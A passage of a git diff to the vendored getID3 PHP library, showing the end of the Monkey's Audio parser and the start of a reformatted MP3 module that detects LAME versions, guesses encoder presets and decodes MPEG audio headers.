16)); + $thisfile_monkeysaudio['channels'] = $thisfile_monkeysaudio_raw['nChannels']; + $info['audio']['channels'] = $thisfile_monkeysaudio['channels']; + $thisfile_monkeysaudio['sample_rate'] = $thisfile_monkeysaudio_raw['nSampleRate']; + if ($thisfile_monkeysaudio['sample_rate'] == 0) { + $this->error('Corrupt MAC file: frequency == zero'); + return false; + } + $info['audio']['sample_rate'] = $thisfile_monkeysaudio['sample_rate']; + if ($thisfile_monkeysaudio['flags']['peak_level']) { + $thisfile_monkeysaudio['peak_level'] = $thisfile_monkeysaudio_raw['nPeakLevel']; + $thisfile_monkeysaudio['peak_ratio'] = $thisfile_monkeysaudio['peak_level'] / pow(2, $thisfile_monkeysaudio['bits_per_sample'] - 1); + } + if ($thisfile_monkeysaudio_raw['nVersion'] >= 3980) { + $thisfile_monkeysaudio['samples'] = (($thisfile_monkeysaudio_raw['nTotalFrames'] - 1) * $thisfile_monkeysaudio_raw['nBlocksPerFrame']) + $thisfile_monkeysaudio_raw['nFinalFrameBlocks']; + } else { + $thisfile_monkeysaudio['samples'] = (($thisfile_monkeysaudio_raw['nTotalFrames'] - 1) * $thisfile_monkeysaudio['samples_per_frame']) + $thisfile_monkeysaudio_raw['nFinalFrameSamples']; + } + $thisfile_monkeysaudio['playtime'] = $thisfile_monkeysaudio['samples'] / $thisfile_monkeysaudio['sample_rate']; + if ($thisfile_monkeysaudio['playtime'] == 0) { + $this->error('Corrupt MAC file: playtime == zero'); + return false; + } + $info['playtime_seconds'] = $thisfile_monkeysaudio['playtime']; + $thisfile_monkeysaudio['compressed_size'] = $info['avdataend'] - $info['avdataoffset']; + $thisfile_monkeysaudio['uncompressed_size'] = $thisfile_monkeysaudio['samples'] * $thisfile_monkeysaudio['channels'] * ($thisfile_monkeysaudio['bits_per_sample'] / 8); + if ($thisfile_monkeysaudio['uncompressed_size'] == 0) { + $this->error('Corrupt MAC file: uncompressed_size == zero'); + return false; + } + $thisfile_monkeysaudio['compression_ratio'] = $thisfile_monkeysaudio['compressed_size'] / ($thisfile_monkeysaudio['uncompressed_size'] + $thisfile_monkeysaudio_raw['nHeaderDataBytes']); + $thisfile_monkeysaudio['bitrate'] = (($thisfile_monkeysaudio['samples'] * $thisfile_monkeysaudio['channels'] * $thisfile_monkeysaudio['bits_per_sample']) / $thisfile_monkeysaudio['playtime']) * $thisfile_monkeysaudio['compression_ratio']; + $info['audio']['bitrate'] = $thisfile_monkeysaudio['bitrate']; + + // add size of MAC header to avdataoffset + if ($thisfile_monkeysaudio_raw['nVersion'] >= 3980) { + $info['avdataoffset'] += $thisfile_monkeysaudio_raw['nDescriptorBytes']; + $info['avdataoffset'] += $thisfile_monkeysaudio_raw['nHeaderBytes']; + $info['avdataoffset'] += $thisfile_monkeysaudio_raw['nSeekTableBytes']; + $info['avdataoffset'] += $thisfile_monkeysaudio_raw['nHeaderDataBytes']; + + $info['avdataend'] -= $thisfile_monkeysaudio_raw['nTerminatingDataBytes']; + } else { + $info['avdataoffset'] += $offset; + } + + if ($thisfile_monkeysaudio_raw['nVersion'] >= 3980) { + if ($thisfile_monkeysaudio_raw['cFileMD5'] === str_repeat("\x00", 16)) { + //$this->warning('cFileMD5 is null'); + } else { + $info['md5_data_source'] = ''; + $md5 = $thisfile_monkeysaudio_raw['cFileMD5']; + for ($i = 0; $i < strlen($md5); $i++) { + $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); + } + if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { + unset($info['md5_data_source']); + } + } + } + + + + $info['audio']['bits_per_sample'] = $thisfile_monkeysaudio['bits_per_sample']; + $info['audio']['encoder'] = 'MAC v'.number_format($thisfile_monkeysaudio['version'], 2); + $info['audio']['encoder_options'] = ucfirst($thisfile_monkeysaudio['compression']).' compression'; + + return true; + } + + /** + * @param int $compressionlevel + * + * @return string + */ + public function MonkeyCompressionLevelNameLookup($compressionlevel) { + static $MonkeyCompressionLevelNameLookup = array( + 0 => 'unknown', + 1000 => 'fast', + 2000 => 'normal', + 3000 => 'high', + 4000 => 'extra-high', + 5000 => 'insane' + ); + return (isset($MonkeyCompressionLevelNameLookup[$compressionlevel]) ? $MonkeyCompressionLevelNameLookup[$compressionlevel] : 'invalid'); + } + + /** + * @param int $versionid + * @param int $compressionlevel + * + * @return int + */ + public function MonkeySamplesPerFrame($versionid, $compressionlevel) { + if ($versionid >= 3950) { + return 73728 * 4; + } elseif ($versionid >= 3900) { + return 73728; + } elseif (($versionid >= 3800) && ($compressionlevel == 4000)) { + return 73728; + } else { + return 9216; + } + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.mp3.php b/vendor/james-heinrich/getid3/getid3/module.audio.mp3.php index 68f14ce1bc..1f5a566b83 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.mp3.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.mp3.php @@ -1,2216 +1,2216 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.mp3.php // -// module for analyzing MP3 files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - - -class getid3_mp3 extends getid3_handler -{ - /** - * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, - * unrecommended, but may provide data from otherwise-unusable files. - * - * @var bool - */ - public $allow_bruteforce = false; - - /** - * number of frames to scan to determine if MPEG-audio sequence is valid - * Lower this number to 5-20 for faster scanning - * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams - * - * @var int - */ - public $mp3_valid_check_frames = 50; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $initialOffset = $info['avdataoffset']; - - if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) { - if ($this->allow_bruteforce) { - $this->error('Rescanning file in BruteForce mode'); - $this->getOnlyMPEGaudioInfoBruteForce(); - } - } - - - if (isset($info['mpeg']['audio']['bitrate_mode'])) { - $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); - } - - $CurrentDataLAMEversionString = null; - if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) { - - $synchoffsetwarning = 'Unknown data before synch '; - if (isset($info['id3v2']['headerlength'])) { - $synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, '; - } elseif ($initialOffset > 0) { - $synchoffsetwarning .= '(should be at '.$initialOffset.', '; - } else { - $synchoffsetwarning .= '(should be at beginning of file, '; - } - $synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')'; - if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) { - - if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) { - - $synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.'; - $info['audio']['codec'] = 'LAME'; - $CurrentDataLAMEversionString = 'LAME3.'; - - } elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) { - - $synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.'; - $info['audio']['codec'] = 'LAME'; - $CurrentDataLAMEversionString = 'LAME3.'; - - } - - } - $this->warning($synchoffsetwarning); - - } - - if (isset($info['mpeg']['audio']['LAME'])) { - $info['audio']['codec'] = 'LAME'; - if (!empty($info['mpeg']['audio']['LAME']['long_version'])) { - $info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00"); - } elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) { - $info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00"); - } - } - - $CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : '')); - if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) { - // a version number of LAME that does not end with a number like "LAME3.92" - // or with a closing parenthesis like "LAME3.88 (alpha)" - // or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92) - - // not sure what the actual last frame length will be, but will be less than or equal to 1441 - $PossiblyLongerLAMEversion_FrameLength = 1441; - - // Not sure what version of LAME this is - look in padding of last frame for longer version string - $PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength; - $this->fseek($PossibleLAMEversionStringOffset); - $PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength); - switch (substr($CurrentDataLAMEversionString, -1)) { - case 'a': - case 'b': - // "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example - // need to trim off "a" to match longer string - $CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1); - break; - } - if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) { - if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) { - $PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3" "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)" - if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) { - if (!empty($info['audio']['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version']) && ($info['audio']['encoder'] == $info['mpeg']['audio']['LAME']['short_version'])) { - if (preg_match('#^LAME[0-9\\.]+#', $PossiblyLongerLAMEversion_NewString, $matches)) { - // "LAME3.100" -> "LAME3.100.1", but avoid including "(alpha)" and similar - $info['mpeg']['audio']['LAME']['short_version'] = $matches[0]; - } - } - $info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString; - } - } - } - } - if (!empty($info['audio']['encoder'])) { - $info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 "); - } - - switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') { - case 1: - case 2: - $info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer']; - break; - } - if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) { - switch ($info['audio']['dataformat']) { - case 'mp1': - case 'mp2': - case 'mp3': - $info['fileformat'] = $info['audio']['dataformat']; - break; - - default: - $this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"'); - break; - } - } - - if (empty($info['fileformat'])) { - unset($info['fileformat']); - unset($info['audio']['bitrate_mode']); - unset($info['avdataoffset']); - unset($info['avdataend']); - return false; - } - - $info['mime_type'] = 'audio/mpeg'; - $info['audio']['lossless'] = false; - - // Calculate playtime - if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) { - // https://github.com/JamesHeinrich/getID3/issues/161 - // VBR header frame contains ~0.026s of silent audio data, but is not actually part of the original encoding and should be ignored - $xingVBRheaderFrameLength = ((isset($info['mpeg']['audio']['VBR_frames']) && isset($info['mpeg']['audio']['framelength'])) ? $info['mpeg']['audio']['framelength'] : 0); - - $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset'] - $xingVBRheaderFrameLength) * 8 / $info['audio']['bitrate']; - } - - $info['audio']['encoder_options'] = $this->GuessEncoderOptions(); - - return true; - } - - /** - * @return string - */ - public function GuessEncoderOptions() { - // shortcuts - $info = &$this->getid3->info; - $thisfile_mpeg_audio = array(); - $thisfile_mpeg_audio_lame = array(); - if (!empty($info['mpeg']['audio'])) { - $thisfile_mpeg_audio = &$info['mpeg']['audio']; - if (!empty($thisfile_mpeg_audio['LAME'])) { - $thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME']; - } - } - - $encoder_options = ''; - static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256); - - if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) { - - $encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality']; - - } elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && isset($thisfile_mpeg_audio_lame['preset_used_id']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) { - - $encoder_options = $thisfile_mpeg_audio_lame['preset_used']; - - } elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) { - - static $KnownEncoderValues = array(); - if (empty($KnownEncoderValues)) { - - //$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name'; - $KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane'; // 3.90, 3.90.1, 3.92 - $KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane'; // 3.90.2, 3.90.3, 3.91 - $KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane'; // 3.94, 3.95 - $KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme'; // 3.90, 3.90.1, 3.92 - $KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme'; // 3.90.2, 3.91 - $KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme'; // 3.90.3 - $KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme'; // 3.90, 3.90.1, 3.92 - $KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme'; // 3.90.2, 3.90.3, 3.91 - $KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 - $KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard'; // 3.90.3 - $KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 - $KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3 - $KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix'; // 3.90, 3.90.1, 3.92 - $KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix'; // 3.90.2, 3.90.3, 3.91 - $KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix'; // 3.94, 3.95 - $KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium'; // 3.90.3 - $KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium'; // 3.90.3 - - $KnownEncoderValues[0xFF][99][1][1][1][2][0] = '--preset studio'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 - $KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio'; // 3.90.3, 3.93.1 - $KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio'; // 3.93 - $KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio'; // 3.94, 3.95 - $KnownEncoderValues[0xC0][88][1][1][1][2][0] = '--preset cd'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 - $KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd'; // 3.90.3, 3.93.1 - $KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd'; // 3.93 - $KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd'; // 3.94, 3.95 - $KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 - $KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi'; // 3.90.3, 3.93, 3.93.1 - $KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi'; // 3.94, 3.95 - $KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 - $KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 - $KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 - $KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm'; // 3.90.3, 3.93, 3.93.1 - $KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm'; // 3.94, 3.95 - $KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice'; // 3.90.3, 3.93, 3.93.1 - $KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice'; // 3.94, 3.95 - $KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice'; // 3.94a14 - $KnownEncoderValues[0x28][65][1][1][0][2][7500] = '--preset mw-us'; // 3.90, 3.90.1, 3.92 - $KnownEncoderValues[0x28][65][1][1][0][2][7600] = '--preset mw-us'; // 3.90.2, 3.91 - $KnownEncoderValues[0x28][58][2][2][0][2][7000] = '--preset mw-us'; // 3.90.3, 3.93, 3.93.1 - $KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us'; // 3.94, 3.95 - $KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us'; // 3.94a14 - $KnownEncoderValues[0x28][57][2][1][0][4][8800] = '--preset mw-us'; // 3.94a15 - $KnownEncoderValues[0x18][58][2][2][0][2][4000] = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1 - $KnownEncoderValues[0x18][58][2][2][0][2][3900] = '--preset phon+/lw/mw-eu/sw'; // 3.93 - $KnownEncoderValues[0x18][57][2][1][0][4][5900] = '--preset phon+/lw/mw-eu/sw'; // 3.94, 3.95 - $KnownEncoderValues[0x18][57][2][1][0][4][6200] = '--preset phon+/lw/mw-eu/sw'; // 3.94a14 - $KnownEncoderValues[0x18][57][2][1][0][4][3200] = '--preset phon+/lw/mw-eu/sw'; // 3.94a15 - $KnownEncoderValues[0x10][58][2][2][0][2][3800] = '--preset phone'; // 3.90.3, 3.93.1 - $KnownEncoderValues[0x10][58][2][2][0][2][3700] = '--preset phone'; // 3.93 - $KnownEncoderValues[0x10][57][2][1][0][4][5600] = '--preset phone'; // 3.94, 3.95 - } - - if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) { - - $encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']]; - - } elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) { - - $encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']]; - - } elseif ($info['audio']['bitrate_mode'] == 'vbr') { - - // http://gabriel.mp3-tech.org/mp3infotag.html - // int Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h - - - $LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10); - $LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10); - $encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value; - - } elseif ($info['audio']['bitrate_mode'] == 'cbr') { - - $encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); - - } else { - - $encoder_options = strtoupper($info['audio']['bitrate_mode']); - - } - - } elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) { - - $encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr']; - - } elseif (!empty($info['audio']['bitrate'])) { - - if ($info['audio']['bitrate_mode'] == 'cbr') { - $encoder_options = strtoupper($info['audio']['bitrate_mode']).round($info['audio']['bitrate'] / 1000); - } else { - $encoder_options = strtoupper($info['audio']['bitrate_mode']); - } - - } - if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) { - $encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min']; - } - - if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) { - $encoder_options .= ' --nogap'; - } - - if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) { - $ExplodedOptions = explode(' ', $encoder_options, 4); - if ($ExplodedOptions[0] == '--r3mix') { - $ExplodedOptions[1] = 'r3mix'; - } - switch ($ExplodedOptions[0]) { - case '--preset': - case '--alt-preset': - case '--r3mix': - if ($ExplodedOptions[1] == 'fast') { - $ExplodedOptions[1] .= ' '.$ExplodedOptions[2]; - } - switch ($ExplodedOptions[1]) { - case 'portable': - case 'medium': - case 'standard': - case 'extreme': - case 'insane': - case 'fast portable': - case 'fast medium': - case 'fast standard': - case 'fast extreme': - case 'fast insane': - case 'r3mix': - static $ExpectedLowpass = array( - 'insane|20500' => 20500, - 'insane|20600' => 20600, // 3.90.2, 3.90.3, 3.91 - 'medium|18000' => 18000, - 'fast medium|18000' => 18000, - 'extreme|19500' => 19500, // 3.90, 3.90.1, 3.92, 3.95 - 'extreme|19600' => 19600, // 3.90.2, 3.90.3, 3.91, 3.93.1 - 'fast extreme|19500' => 19500, // 3.90, 3.90.1, 3.92, 3.95 - 'fast extreme|19600' => 19600, // 3.90.2, 3.90.3, 3.91, 3.93.1 - 'standard|19000' => 19000, - 'fast standard|19000' => 19000, - 'r3mix|19500' => 19500, // 3.90, 3.90.1, 3.92 - 'r3mix|19600' => 19600, // 3.90.2, 3.90.3, 3.91 - 'r3mix|18000' => 18000, // 3.94, 3.95 - ); - if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) { - $encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency']; - } - break; - - default: - break; - } - break; - } - } - - if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) { - if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) { - $encoder_options .= ' --resample 44100'; - } elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) { - $encoder_options .= ' --resample 48000'; - } elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) { - switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) { - case 0: // <= 32000 - // may or may not be same as source frequency - ignore - break; - case 1: // 44100 - case 2: // 48000 - case 3: // 48000+ - $ExplodedOptions = explode(' ', $encoder_options, 4); - switch ($ExplodedOptions[0]) { - case '--preset': - case '--alt-preset': - switch ($ExplodedOptions[1]) { - case 'fast': - case 'portable': - case 'medium': - case 'standard': - case 'extreme': - case 'insane': - $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; - break; - - default: - static $ExpectedResampledRate = array( - 'phon+/lw/mw-eu/sw|16000' => 16000, - 'mw-us|24000' => 24000, // 3.95 - 'mw-us|32000' => 32000, // 3.93 - 'mw-us|16000' => 16000, // 3.92 - 'phone|16000' => 16000, - 'phone|11025' => 11025, // 3.94a15 - 'radio|32000' => 32000, // 3.94a15 - 'fm/radio|32000' => 32000, // 3.92 - 'fm|32000' => 32000, // 3.90 - 'voice|32000' => 32000); - if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) { - $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; - } - break; - } - break; - - case '--r3mix': - default: - $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; - break; - } - break; - } - } - } - if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) { - //$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); - $encoder_options = strtoupper($info['audio']['bitrate_mode']); - } - - return $encoder_options; - } - - /** - * @param int $offset - * @param array $info - * @param bool $recursivesearch - * @param bool $ScanAsCBR - * @param bool $FastMPEGheaderScan - * - * @return bool - */ - public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) { - static $MPEGaudioVersionLookup; - static $MPEGaudioLayerLookup; - static $MPEGaudioBitrateLookup; - static $MPEGaudioFrequencyLookup; - static $MPEGaudioChannelModeLookup; - static $MPEGaudioModeExtensionLookup; - static $MPEGaudioEmphasisLookup; - if (empty($MPEGaudioVersionLookup)) { - $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); - $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); - $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); - $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); - $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); - $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); - $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); - } - - if ($this->fseek($offset) != 0) { - $this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset); - return false; - } - //$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame - $headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data - - // MP3 audio frame structure: - // $aa $aa $aa $aa [$bb $bb] $cc... - // where $aa..$aa is the four-byte mpeg-audio header (below) - // $bb $bb is the optional 2-byte CRC - // and $cc... is the audio data - - $head4 = substr($headerstring, 0, 4); - $head4_key = getid3_lib::PrintHexBytes($head4, true, false, false); - static $MPEGaudioHeaderDecodeCache = array(); - if (isset($MPEGaudioHeaderDecodeCache[$head4_key])) { - $MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4_key]; - } else { - $MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4); - $MPEGaudioHeaderDecodeCache[$head4_key] = $MPEGheaderRawArray; - } - - static $MPEGaudioHeaderValidCache = array(); - if (!isset($MPEGaudioHeaderValidCache[$head4_key])) { // Not in cache - //$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true); // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1) - $MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false); - } - - // shortcut - if (!isset($info['mpeg']['audio'])) { - $info['mpeg']['audio'] = array(); - } - $thisfile_mpeg_audio = &$info['mpeg']['audio']; - - if ($MPEGaudioHeaderValidCache[$head4_key]) { - $thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray; - } else { - $this->warning('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset); - return false; - } - - if (!$FastMPEGheaderScan) { - $thisfile_mpeg_audio['version'] = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']]; - $thisfile_mpeg_audio['layer'] = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']]; - - $thisfile_mpeg_audio['channelmode'] = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']]; - $thisfile_mpeg_audio['channels'] = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2); - $thisfile_mpeg_audio['sample_rate'] = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']]; - $thisfile_mpeg_audio['protection'] = !$thisfile_mpeg_audio['raw']['protection']; - 